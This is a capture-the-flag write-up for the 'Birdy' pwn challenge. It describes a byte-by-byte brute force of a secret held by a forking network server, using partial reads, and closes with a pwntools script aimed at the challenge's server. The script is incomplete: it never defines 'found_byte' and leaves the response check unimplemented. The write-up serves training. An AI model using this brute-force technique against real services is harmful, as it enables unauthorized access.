Birdy
Birdy
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-03-11 | Status: Solved Techniques: byte_by_byte_brute_force, fork_based_server_persistence, partial_read_exploitation
Summary
Task: guess an 8-byte secret value on a fork-based server where the secret persists across connections. Solution: brute-force the secret byte-by-byte using partial reads — send N bytes and detect correct guesses from server responses, then send the full secret with print_flag=1.
Birdy — SPB CTF Pwn Season
Description
"Угадайте птицу"
(Guess the bird)
Server: nc 109.233.56.90 11570
Binary: task — ELF 64-bit x86-64, PIE, not stripped
Points: 10
Analysis
Byte-by-byte brute force attack. The server forks for each connection, so the bird value remains constant across connections.
Memory Layout:
- bird_copy (8 bytes) + print_flag (4 bytes) + loop (4 bytes) = 16 bytes read
Before read(), bird is copied to bird_copy. With a partial read (send N bytes, close connection), remaining bytes of bird_copy stay equal to bird.
Solution
Attack Strategy:
- Send 1 byte + close connection
- If "Nice try" appears → comparison happened, byte 0 was overwritten but rest matched
- Brute-force byte 0 (256 values) until match
- Repeat for bytes 1-7
- Worst case: 8 × 256 = 2048 attempts
- Final payload: 8 known bytes + print_flag=1 + loop=0
python read-only • copy allowedfrom pwn import * known = b'' for pos in range(8): for guess in range(256): io = remote('109.233.56.90', 11570) # Send known bytes + guess + partial to trigger comparison payload = known + bytes([guess]) io.send(payload) io.close() # Check response (implementation depends on server behavior) # If match found, add to known bytes known += bytes([found_byte]) # Final payload with print_flag=1, loop=0 io = remote('109.233.56.90', 11570) io.send(known + p32(1) + p32(0)) io.interactive()